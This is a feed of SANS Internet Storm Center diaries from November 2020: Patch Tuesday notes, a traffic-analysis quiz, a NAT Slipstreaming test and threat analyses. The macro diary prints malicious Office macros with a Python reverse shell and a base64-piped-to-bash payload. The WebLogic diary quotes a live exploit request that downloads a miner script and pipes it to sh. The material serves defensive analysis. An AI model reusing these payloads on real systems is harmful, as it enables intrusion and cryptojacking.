SANS

Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 28 perc 36 másodperc
2020. november 11.

Traffic Analysis Quiz: DESKTOP-FX23IK5, (Wed, Nov 11th)

Introduction

It's time for another ISC traffic analysis quiz!  Like previous quizzes, this one consists of a packet capture (pcap) of infection traffic, and you also get a list of the alerts (both as an image where the alerts are shown in Squil and a text file with more details).

You can find the pcap and alerts here.

What type of infection is this?  The alerts file should tell you.  I also have a text file with notes that better explains what this infection is, in case the alerts don't clearly provide you with answers.

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review pcaps of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

Unlike previous exercises, there are no actual malware binaries in the traffic.  Some encoded binary objects can be extracted from the pcap, but they are not malicious on their own.

Final words

Again, files associated with this quiz (pcap, alerts, and notes) can be found here.

If you found this fun, we have previous traffic analysis quizzes:

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 10.

Microsoft November 2020 Patch Tuesday, (Tue, Nov 10th)

This month we got patches for 112 vulnerabilities. Of these, 17 are critical and one was previously disclosed and is already being exploited according to Microsoft.

Amongst critical vulnerabilities, there is a CVSSv3 9.8 remote code execution in Windows Network File System (CVE-2020-17051). There are no details regarding the vulnerable component neither how the vulnerability could be exploited. The vulnerability affects virtually all supported Windows versions and is classified by Microsoft as ‘Exploitation More Likely’ which means that an exploit could be created in such a way that an attacker could consistently exploit this vulnerability.

The exploited and already disclosed one is a Windows Kernel Local Elevation of Privilege vulnerability (CVE-2020-17087). This vulnerability has been chained with Google Chrome CVE-2020-15999 to perform privilege escalation and gain administrator access to a system. More details about this vulnerability can be found at [1].

A third vulnerability worth mentioning here is remote code execution (RCE) in Microsoft Sharepoint (CVE-2020-17061). According to the advisory, it requires no user interaction and is classified as ‘Exploitation More Likely’.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG) AV1 Video Extension Remote Code Execution Vulnerability %%cve:2020-17105%% No No Less Likely Less Likely Critical 7.8 6.8 Azure DevOps Server and Team Foundation Services Spoofing Vulnerability %%cve:2020-1325%% No No Less Likely Less Likely Important 5.4 4.7 Azure Sphere Denial of Service Vulnerability %%cve:2020-16986%% No No Less Likely Less Likely Important 6.2 5.4 Azure Sphere Elevation of Privilege Vulnerability %%cve:2020-16981%% No No Less Likely Less Likely Important 6.1 5.3 %%cve:2020-16988%% No No Less Likely Less Likely Critical 6.9 6.0 %%cve:2020-16989%% No No Less Likely Less Likely Important 5.4 4.7 %%cve:2020-16992%% No No Less Likely Less Likely Important 7.5 7.5 %%cve:2020-16993%% No No Less Likely Less Likely Important 5.4 4.7 Azure Sphere Information Disclosure Vulnerability %%cve:2020-16985%% No No Less Likely Less Likely Important 6.2 5.4 %%cve:2020-16990%% No No Less Likely Less Likely Important 6.2 5.4 Azure Sphere Tampering Vulnerability %%cve:2020-16983%% No No Less Likely Less Likely Important 5.7 5.0 Azure Sphere Unsigned Code Execution Vulnerability %%cve:2020-16970%% No No Less Likely Less Likely Important 8.1 7.1 %%cve:2020-16982%% No No Less Likely Less Likely Important 6.1 5.3 %%cve:2020-16984%% No No Less Likely Less Likely Important 6.2 5.4 %%cve:2020-16987%% No No Less Likely Less Likely Important 6.2 5.4 %%cve:2020-16991%% No No Less Likely Less Likely Important 6.2 5.4 %%cve:2020-16994%% No No Less Likely Less Likely Important 6.2 5.4 Chakra Scripting Engine Memory Corruption Vulnerability %%cve:2020-17048%% No No Less Likely Less Likely Critical 4.2 3.8 %%cve:2020-17054%% No No Less Likely Less Likely Important 4.2 3.7 DirectX Elevation of Privilege Vulnerability %%cve:2020-16998%% No No More Likely More Likely Important 7.0 6.1 HEIF Image Extensions Remote Code Execution Vulnerability %%cve:2020-17101%% No No Less Likely Less Likely Critical 7.8 6.8 HEVC Video Extensions Remote Code Execution Vulnerability %%cve:2020-17106%% No No Less Likely Less Likely Critical 7.8 6.8 %%cve:2020-17107%% No No Less Likely Less Likely Critical 7.8 6.8 %%cve:2020-17108%% No No Less Likely Less Likely Critical 7.8 6.8 %%cve:2020-17109%% No No Less Likely Less Likely Critical 7.8 6.8 %%cve:2020-17110%% No No Less Likely Less Likely Critical 7.8 6.8 Internet Explorer Memory Corruption Vulnerability %%cve:2020-17053%% No No More Likely More Likely Critical 7.5 6.7 Kerberos Security Feature Bypass Vulnerability %%cve:2020-17049%% No No Less Likely Less Likely Important 6.6 5.8 Microsoft Browser Memory Corruption Vulnerability %%cve:2020-17058%% No No Less Likely Less Likely Critical 7.5 6.7 Microsoft Defender for Endpoint Security Feature Bypass Vulnerability %%cve:2020-17090%% No No Less Likely Less Likely Important 5.3 4.6 Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability %%cve:2020-17005%% No No - - Important 5.4 4.7 %%cve:2020-17006%% No No Less Likely Less Likely Important 5.4 4.7 %%cve:2020-17018%% No No Less Likely Less Likely Important 5.4 4.7 %%cve:2020-17021%% No No Less Likely Less Likely Important 5.4 4.7 Microsoft Excel Remote Code Execution Vulnerability %%cve:2020-17019%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17064%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17065%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17066%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft Excel Security Feature Bypass Vulnerability %%cve:2020-17067%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft Exchange Server Denial of Service Vulnerability %%cve:2020-17085%% No No Less Likely Less Likely Important 6.2 5.4 Microsoft Exchange Server Remote Code Execution Vulnerability %%cve:2020-17083%% No No Less Likely Less Likely Important 5.5 4.8 %%cve:2020-17084%% No No Less Likely Less Likely Important 8.5 7.4 Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability %%cve:2020-17062%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft Office Online Spoofing Vulnerability %%cve:2020-17063%% No No Less Likely Less Likely Important 6.8 5.9 Microsoft Raw Image Extension Information Disclosure Vulnerability %%cve:2020-17081%% No No Less Likely Less Likely Important 5.5 4.8 Microsoft SharePoint Information Disclosure Vulnerability %%cve:2020-16979%% No No Less Likely Less Likely Important 5.3 4.6 %%cve:2020-17017%% No No Less Likely Less Likely Important 5.3 4.6 Microsoft SharePoint Remote Code Execution Vulnerability %%cve:2020-17061%% No No More Likely More Likely Important 8.8 7.7 Microsoft SharePoint Spoofing Vulnerability %%cve:2020-17015%% No No Less Likely Less Likely Low 4.3 3.8 %%cve:2020-17016%% No No Less Likely Less Likely Important 8.0 7.0 %%cve:2020-17060%% No No Less Likely Less Likely Important 5.4 4.7 Microsoft Teams Remote Code Execution Vulnerability %%cve:2020-17091%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft Word Security Feature Bypass Vulnerability %%cve:2020-17020%% No No Less Likely Less Likely Important 3.3 2.9 Raw Image Extension Remote Code Execution Vulnerability %%cve:2020-17078%% No No Less Likely Less Likely Critical 7.8 6.8 %%cve:2020-17079%% No No Less Likely Less Likely Critical 7.8 6.8 %%cve:2020-17082%% No No Less Likely Less Likely Critical 7.8 6.8 %%cve:2020-17086%% No No Less Likely Less Likely Important 7.8 6.8 Remote Desktop Protocol Client Information Disclosure Vulnerability %%cve:2020-17000%% No No Less Likely Less Likely Important 5.5 4.8 Remote Desktop Protocol Server Information Disclosure Vulnerability %%cve:2020-16997%% No No Less Likely Less Likely Important 7.7 6.7 Scripting Engine Memory Corruption Vulnerability %%cve:2020-17052%% No No More Likely More Likely Critical 7.5 6.7 Visual Studio Code JSHint Extension Remote Code Execution Vulnerability %%cve:2020-17104%% No No Less Likely Less Likely Important 7.8 6.8 Visual Studio Tampering Vulnerability %%cve:2020-17100%% No No Less Likely Less Likely Important 5.5 4.8 WebP Image Extensions Information Disclosure Vulnerability %%cve:2020-17102%% No No Less Likely Less Likely Important 5.5 4.8 Win32k Elevation of Privilege Vulnerability %%cve:2020-17010%% No No More Likely More Likely Important 7.8 6.8 %%cve:2020-17038%% No No More Likely More Likely Important 7.8 6.8 Win32k Information Disclosure Vulnerability %%cve:2020-17013%% No No Less Likely Less Likely Important 5.5 4.8 Windows Bind Filter Driver Elevation of Privilege Vulnerability %%cve:2020-17012%% No No Less Likely Less Likely Important 7.8 6.8 Windows Camera Codec Information Disclosure Vulnerability %%cve:2020-17113%% No No Less Likely Less Likely Important 5.5 5.0 Windows Canonical Display Driver Information Disclosure Vulnerability %%cve:2020-17029%% No No Less Likely Less Likely Important 5.5 4.8 Windows Client Side Rendering Print Provider Elevation of Privilege Vulnerability %%cve:2020-17024%% No No Less Likely Less Likely Important 7.8 6.8 Windows Common Log File System Driver Elevation of Privilege Vulnerability %%cve:2020-17088%% No No More Likely More Likely Important 7.8 7.2 Windows Delivery Optimization Information Disclosure Vulnerability %%cve:2020-17071%% No No Less Likely Less Likely Important 5.5 4.8 Windows Error Reporting Denial of Service Vulnerability %%cve:2020-17046%% No No Less Likely Less Likely Low 5.5 5.0 Windows Error Reporting Elevation of Privilege Vulnerability %%cve:2020-17007%% No No Less Likely Less Likely Important 7.0 6.1 Windows Function Discovery SSDP Provider Information Disclosure Vulnerability %%cve:2020-17036%% No No Less Likely Less Likely Important 5.5 4.8 Windows GDI+ Remote Code Execution Vulnerability %%cve:2020-17068%% No No Less Likely Less Likely Important 7.8 6.8 Windows Graphics Component Information Disclosure Vulnerability %%cve:2020-17004%% No No Less Likely Less Likely Important 5.5 4.8 Windows Hyper-V Security Feature Bypass Vulnerability %%cve:2020-17040%% No No Less Likely Less Likely Important 6.5 5.7 Windows Kernel Elevation of Privilege Vulnerability %%cve:2020-17035%% No No Less Likely Less Likely Important 7.8 6.8 Windows Kernel Local Elevation of Privilege Vulnerability %%cve:2020-17087%% Yes Yes Detected Detected Important 7.8 7.2 Windows KernelStream Information Disclosure Vulnerability %%cve:2020-17045%% No No Less Likely Less Likely Important 5.5 4.8 Windows MSCTF Server Information Disclosure Vulnerability %%cve:2020-17030%% No No Less Likely Less Likely Important 5.5 4.8 Windows NDIS Information Disclosure Vulnerability %%cve:2020-17069%% No No Less Likely Less Likely Important 5.5 4.8 Windows Network File System Denial of Service Vulnerability %%cve:2020-17047%% No No Less Likely Less Likely Important 7.5 6.7 Windows Network File System Information Disclosure Vulnerability %%cve:2020-17056%% No No More Likely More Likely Important 5.5 4.8 Windows Network File System Remote Code Execution Vulnerability %%cve:2020-17051%% No No More Likely More Likely Critical 9.8 8.5 Windows Port Class Library Elevation of Privilege Vulnerability %%cve:2020-17011%% No No Less Likely Less Likely Important 7.8 6.8 Windows Print Configuration Elevation of Privilege Vulnerability %%cve:2020-17041%% No No Less Likely Less Likely Important 7.8 6.8 Windows Print Spooler Elevation of Privilege Vulnerability %%cve:2020-17001%% No No Less Likely Less Likely Important 7.8 7.0 %%cve:2020-17014%% No No Less Likely Less Likely Important 7.8 7.0 Windows Print Spooler Remote Code Execution Vulnerability %%cve:2020-17042%% No No Less Likely Less Likely Critical 8.8 7.7 Windows Remote Access Elevation of Privilege Vulnerability %%cve:2020-17055%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17025%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17026%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17027%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17028%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17031%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17032%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17033%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17034%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17043%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17044%% No No Less Likely Less Likely Important 7.8 6.8 Windows Spoofing Vulnerability %%cve:2020-1599%% No No Less Likely Less Likely Important 5.5 4.8 Windows USO Core Worker Elevation of Privilege Vulnerability %%cve:2020-17075%% No No Less Likely Less Likely Important 7.8 6.8 Windows Update Medic Service Elevation of Privilege Vulnerability %%cve:2020-17070%% No No Less Likely Less Likely Important 7.8 6.8 Windows Update Orchestrator Service Elevation of Privilege Vulnerability %%cve:2020-17073%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17074%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17076%% No No Less Likely Less Likely Important 7.8 6.8 Windows Update Stack Elevation of Privilege Vulnerability %%cve:2020-17077%% No No Less Likely Less Likely Important 7.8 6.8 Windows WalletService Elevation of Privilege Vulnerability %%cve:2020-17037%% No No Less Likely Less Likely Important 7.8 6.8 Windows WalletService Information Disclosure Vulnerability %%cve:2020-16999%% No No Less Likely Less Likely Important 5.5 4.8 Windows Win32k Elevation of Privilege Vulnerability %%cve:2020-17057%% No No More Likely More Likely Important 7.0 6.1

 

References:
[1] https://attackerkb.com/topics/y8mmBHc710/cve-2020-17087-windows-kernel-local-privilege-escalation-0day?referrer=home

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 10.

ISC Stormcast For Tuesday, November 10th 2020 https://isc.sans.edu/podcastdetail.html?id=7246, (Tue, Nov 10th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 9.

How Attackers Brush Up Their Malicious Scripts, (Mon, Nov 9th)

On Friday, I received a bunch of alerts from one of my YARA hunting rules. Several samples were submitted from the same account (through the VT API), from the same country (US), and in a very short period of time. All the submitted files were OLE2 files containing a malicious macro. All of them had a low VT score so it deserved some investigations. I downloaded the samples and had a look at them.

Indeed all OLE2 files contained the same main() macro:

sub Autoexec() Call Main End Sub Sub Auto_Open() Call Main End Sub Sub AutoOpen() Call Main End Sub Sub Workbook_Open() Call Main End Sub

I extracted the VBA code via oledump and reviewed them chronologically (based on the upload time on VT). Here is the first version of the macro:

Private Sub Main() Shell ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""192.168.64.36"",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([""/bin/bash"",""-i""]);'") End Sub

Nothing fancy, a simple macro based on a /bin/bash backdoor. The presence of Python code and the bash shell indicates that the macro is used in a targeted attack. Same remark for the RFC1918 IP address. The used port (4444) indicates probably the use of a Kali host by the attacker.

Then, the attacker added a notification popup (for debugging purposes?):

Private Sub Main() Shell ("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((""192.168.64.36"",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([""/bin/bash"",""-i""]);'") Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '") End Sub

'osascript' is a macOS tool that allows executing OSA scripts (AppleScript, JavaScript, etc.)[1]. We learned something new about the target: it uses a macOS device and the attacker speaks in French. We have this string in the OLE2 file:

Attribute VB_Name = "Feuil1" ("Feuille" means "Sheet")

Also, the displayed notification is in French/

Then the attacker another technique and tried to store the payload into the document comments:

Private Sub Main() Dim sc As String sc = ActiveDocument.BuiltInDocumentProperties("comments").Value Shell (sc) End Sub

The next step was to obfuscate the payload by reversing the code and encoding in in Base64: 

Private Sub Main() Dim sc As String sc = ActiveDocument.BuiltInDocumentProperties("comments").Value sc = Right(sc, Len(sc) - 10) Shell ("echo """ & sc & """|rev|base64 -D|bash") End Sub

Another version of the same technique:

Private Sub Main() Dim sc As String sc = ActiveDocument.BuiltInDocumentProperties("comments").Value Shell ("echo """ & sc & """|rev|base64 -D|bash") End Sub

The next one is funnier: the attacker used the text2speech capabilities of macOS using the 'say' command. 

Private Sub Main() Shell ("echo ""KEDI5F2c""|rev|base64 -D|bash") Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '") End Sub

And finally the latest version found with the Base64 data directly available in the macro:

Private Sub Main() Shell ("echo ""gCnsTKdJSatICLig2chJ2LulmYvIyWowGbhNmLzNXZj9mcwJWdz1Dc7kiMskCKv5WZslmZuMHKyAXdk5ycvByOpEDLpgybuVGbpZmLzhiMwVHZuM3bgsTKwwSKo8mblxWam5ycoIDc1RmLz92OpkCN0QDNsIiNz4CN24CO2EjLykTMigCK0NWZu52bj5yc7kSTBVkUUN1XLN0TT5Cdlt2YvNHLUVkTJ9lRB5Cdlt2YvNHK0V2aj92cuQXZrN2bz1zc7M3bsM3clN2byBnY1NHL0V2aj92cgQncvBXbpdCIj1CIu9Ga0lHc""|rev|base64 -D|bash") Shell ("osascript -e 'display notification ""Macro execut<8e>e"" with title ""Microsoft Word"" '") End Sub

Note the Base64 data contains the same Python code as seen in the first version.

Based on all those findings, we can probably conclude that the attacker is preparing a macro to compromise a macOS user. Another red-team exercise on its way?

[1] https://osxdaily.com/2016/08/19/run-applescript-command-line-macos-osascript/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 9.

ISC Stormcast For Monday, November 9th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7244, (Mon, Nov 9th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 8.

Quick Tip: Extracting all VBA Code from a Maldoc, (Sun, Nov 8th)

"How can I extract all VBA code with oledump from this malicious Word document?".

It's a question I get from time to time.

The answer: "oledump.py -s a -v sample.vir".

With -s a, you select all streams. And with -v, you decompress VBA code. The combination "-s a -v" makes that all module streams are selected and thier VBA code is decompressed:

If you need to know when each module starts, look for a line starting with "Attribute VB_Name = ".

One can also select all streams, and output their content as JSON data. I'll make a small update to oledump to add JSON output of VBA code.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 8.

Cryptojacking Targeting WebLogic TCP/7001, (Sat, Nov 7th)

This past week got some interesting logs targeting TCP/7001 (WebLogic CVE-2020-14882 - see previous diary[1][2]) looking to download and launch a shell script to install various cryptominer on the target. The shell script target SELINUX compatible hosts likely CentOS/RedHat, Ubuntu, etc to install various cryptominer applications.

If successful, the script installs a SSH authorized_key (see below) in the root account to provide access to the host after it has been compromised. If using WebLogic, the current advisory for CVE-2020-14882 is published here.

Log Example

20201106-073608: 192.168.25.9:7001-223.240.104.222:60620 data 'POST /wls-wsat/CoordinatorPortType11 HTTP/1.1\r\nHost: XX.XX.122.14:7001\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)\r\nContent-Length: 611\r\nConnection: close\r\nContent-Type: text/xml\r\nAccept-Encoding: gzip\r\n\r\n<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>cd1 -fsSL http://45.9.148[.]37/b2f628fff19fda999999999/init.sh |sh</string> </void> </array> <void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'

Indicator of compromise

MD5
3112fb090700ed03755ffc84f552080a  init.sh
02e43830f8b1528c1aed200828f78e2d  config.json
3112fb090700ed03755ffc84f552080a  newsvc.sh
36971b02377bda17e29c75cd6194ebad  svcguard
149c79bf71a54ec41f6793819682f790  svcupdate
8ef6437f966f1cc7c78f443a17968a10  svcworkmanager

SHA256
bdd467bce95969caeb5963ba817036e0123253a992ad5a0f4815c7e980bcfb10  init.sh and newsvc.sh
29996267aba0bd7739037639b857dcefff8b5d7c79f54780e9cbf607979f7eba  config.json
e38c1f4eef131aa74fad40ea39d95ef298e39f6c6690ac6b9eac77307f535056  svcguard
e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7  svcupdate
d3466a191b5185a4007faf8949117df5c77907eea9121c7e8308f2a5a736b3fc  svcworkmanager

Initial Download
http://45.9.148[.]37/b2f628fff19fda999999999/init.sh
http://45.9.148[.]37/E5DB0E07C3D7BE80V201007/init.sh
http://global.bitmex.com[.]de/b2f627fff19fda/init.sh
http://185.181.10[.]234/E5DB0E07C3D7BE80V520/init.sh

File Download
http://103.125.218[.]107/b2f628/newsvc.sh"
http://45.9.148[.]37/b2f628fff19fda999999999/newsvc.sh"
http://103.125.218[.]107/b2f628/config.json"
http://45.9.148[.]37/b2f628fff19fda999999999/config.json"
http://103.125.218[.]107/b2f628/svcworkmanager"
http://45.9.148[.]37/b2f628fff19fda999999999/svcworkmanager"
http://103.125.218[.]107/b2f628/svcguard"
http://45.9.148[.]37/b2f628fff19fda999999999/svcguard"
http://update.aegis.aliyun[.]com/download/uninstall.sh
http://update.aegis.aliyun[.]com/download/quartz_uninstall.sh

Currently Unavailable
http://103.125.218[.]107/b2f628/iplog.php
http://45.9.148[.]37/b2f628fff19fda999999999/iplog.php
http://103.125.218[.]107/b2f628/iplog.php
http://45.9.148[.]37/b2f628fff19fda999999999/iplog.php

Bitcoin Mining Pool

xmr.f2pool[.]com:13531
xmr-eu2.nanopool[.]org:14444
randomxmonero.hk.nicehash[.]com:3380

User ID in config.json

"user": "43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR.vsyd"

SSH authorized_keys

"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfg
O06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfs
xXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17"

[1] https://isc.sans.edu/forums/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Exploited+Against+Honeypots/26734/
[2] https://isc.sans.edu/forums/diary/Attackers+Exploiting+WebLogic+Servers+via+CVE202014882+to+install+Cobalt+Strike/26752/
[3] https://www.virustotal.com/gui/file/bdd467bce95969caeb5963ba817036e0123253a992ad5a0f4815c7e980bcfb10/detection
[4] https://www.virustotal.com/gui/file/29996267aba0bd7739037639b857dcefff8b5d7c79f54780e9cbf607979f7eba/detection
[5] https://www.virustotal.com/gui/file/e38c1f4eef131aa74fad40ea39d95ef298e39f6c6690ac6b9eac77307f535056/detection
[6] https://www.virustotal.com/gui/file/e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7/detection
[7] https://www.virustotal.com/gui/file/d3466a191b5185a4007faf8949117df5c77907eea9121c7e8308f2a5a736b3fc/detection
[8] https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Coinminer.Linux.MALXMR.UWEJJ
[9] https://www.oracle.com/security-alerts/alert-cve-2020-14750.html#AppendixFMWl

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 6.

Rediscovering Limitations of Stateful Firewalls: "NAT Slipstreaming" &#x3f; Implications, Detections and Mitigations , (Fri, Nov 6th)

[This is a guest diary by Yee Ching Tok. Feedback welcome either via comments or our contact page]

A recent {rediscovered} technique (NAT Slipstreaming) to allow an attacker remotely access any TCP/UDP service bound to a victim’s machine, thus bypassing the victim’s Network Address Translation (NAT)/firewall implementation was detailed by Samy Kamkar [1]. Samy had also shared a similar technique termed “NAT Pinning” back in 2010 [2]. The similarities in both techniques were convincing victims to access a specially crafted site implementing said techniques, resulting in the creation of a new connection accessible to the attacker (assuming that victim’s network configuration allowed the techniques to work). Meanwhile, the main differences between NAT Slipstreaming and NAT Pinning were 1) the utilization of different protocols/features (WebRTC and Application Level Gateway (ALG) for NAT Slipstreaming, and IRC for NAT Pinning) and 2) using WebRTC/web-based TCP timing attacks to discover the victim’s local IP addresses in NAT Slipstreaming.

I was intrigued by this technique, and wondered how the network components I had on hand would fare when faced with NAT Slipstreaming. In addition, Samy also put it up as an open thought about testing the technique within a virtual machine (VM).

There were a few questions I had in mind, and they influenced the final test set-up I put together. The questions are as follows:

- How would popular open sourced firewalls, such as pfSense, fare against NAT Slipstreaming?

- What would be the impact of NAT Slipstreaming on a user that accesses the specially crafted website from a VM?

- How does the attack look like on the wire?

The following networking infrastructure was set up to test out the NAT Slipstreaming technique (Note: the wireless router was configured purely to serve as a wireless access point and relies on pfSense to serve as the main router):

Figure 1: Experimental Infrastructure for NAT Slipstreaming

From the Ubuntu virtual machine, I started capturing the network traffic and visited the Proof-of-Concept (PoC) page created by Samy [3]. The final output is shown as follows:

Figure 2: Output of PoC

Let us take a step back and examine Figure 2 carefully. I have further enclosed an area of text within Figure 2 in a red box to highlight how it looked like when a network packet capture was taken as the NAT Slipstreaming PoC was executed. Figure 3 shows the establishment of a webRTC channel from Packet 35 onwards after connecting to the PoC site (Packet 17). However, that did not reveal the internal IP address via webRTC (based on the output from Figure 2), and thus a web-based TCP timing attack was executed.

Figure 3: webRTC Channel Established

 

With reference to Figure 4, it was observed that a large number of common internal IP gateway addresses were cycled through as the website tries to load the hidden HTML <img> tags as part of the PoC. Finally, in Figure 5, we see that 2 IP addresses – 192.168.2.1 and 192.168.44.1 were the first to respond with a RST, ACK (Packets 337, 361 and 366). In our test set-up, 192.168.2.1 was indeed the gateway, while 192.168.44.1 was the VMware Net Adapter that was used to provide connectivity to the Ubuntu VM from the Windows Host machine. In the last step of identifying the NAT IP, the timing attack is executed again in the IP gateway address subnet that were discovered, yielding the physical host IP address of 192.168.2.122 (as per the output from Figure 2).

Figure 4: Common Internal IP Gateway Addresses Evaluated

Figure 5: RST, ACK from 192.168.2.1 and 192.168.44.1

Further steps in the PoC were supposed to be executed, but they were not and no further traffic was generated.

In the event of a successful execution of NAT Slipstreaming, the attacker is supposed to be able to bypass the victim’s NAT and connect to previously hidden/protected services. In our test set-up, our VM’s IP address was not exposed, but the IP address of the physical host was exposed (as shown in Figure 2). No further actions were observed as the PoC did not continue loading after a while, and no additional network traffic was generated. This meant that the attacker would still be able to glean internal network information about hosts once victims visit the website (due to the web-based TCP timing attack).

As indicated by Samy, NAT Slipstreaming would require the victim to first visit a specially configured website. In addition, the victim’s networking device (such as a router or firewall) has to support and enable Session Initiation Protocol (SIP) Application Level Gateway (ALG), a feature often used for configuring Voice over IP (VoIP) services. The particular vector of utilizing SIP ALG as an attack vector made me wonder if it was really needed, as certain networking devices might have them enabled by default. Interestingly, a search online yielded recommendations that SIP ALG should be disabled in most cases as it caused issues in VoIP implementations (such as VoIP phones ringing and being unable to answer them, failure to connect inbound/outbound calls and intermittent one-way audio) due to improper modification of SIP packets by the SIP ALG feature.

Nevertheless, the usage of VoIP services in enterprises and some homes is expected. Let us revisit our experimental set-up (Figure 1) and investigate why NAT Slipstreaming could not be fully executed. A quick search in Netgate documentation indicated that pfSense did not have SIP ALG features, although the closest option to it was the siproxd (usage strongly discouraged by Netgate, and only in circumstances where the upstream PBX required phones to have a source port of 5060) [4], [5]. This was further corroborated by a discussion within the Netgate forums with respect to the availability of SIP ALG on pfSense firewalls [6].

In terms of detection, end users should be mindful when visiting websites, especially if the site that was visited appears to take longer than usual time to load completely (other than a slow Internet connection, this could be NAT Slipstreaming executing within the visited website). For enterprises, continuous monitoring of network traffic will indicate tell-tale signs of NAT Slipstreaming (for example, a sudden spike in internal IP addresses with a destination port of 80 from a single internal host). In terms of mitigation, measures such as blocking unknown JavaScript by default will help since the PoC code is dependent on the execution of JavaScript. However, such a measure may affect user experience at times, and may not be a suitable solution for all. Another possible approach to mitigate NAT Slipstreaming is to conduct a configuration review on networking devices and verify if SIP ALG is supported and enabled. If there is no practical or business use for SIP ALG, it should be disabled. If SIP ALG is currently being implemented, an evaluation of its usage and other ways of implementing VoIP services should be considered.

A zip archive containing a network traffic capture from today’s experiment can be found here [7].

[1] https://samy.pl/slipstream/

[2] https://samy.pl/natpin/

[3] http://samy.pl/slipstream/server

[4] https://docs.netgate.com/pfsense/en/latest/recipes/nat-voip-pbx.html

[5] https://docs.netgate.com/pfsense/en/latest/recipes/nat-voip-phones.html

[6] https://forum.netgate.com/topic/105208/does-pfsense-have-sip-alg

[7] https://github.com/poppopretn/ISC-diaries-pcaps/blob/main/2020-11-NAT-Slipstream.zip

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 6.

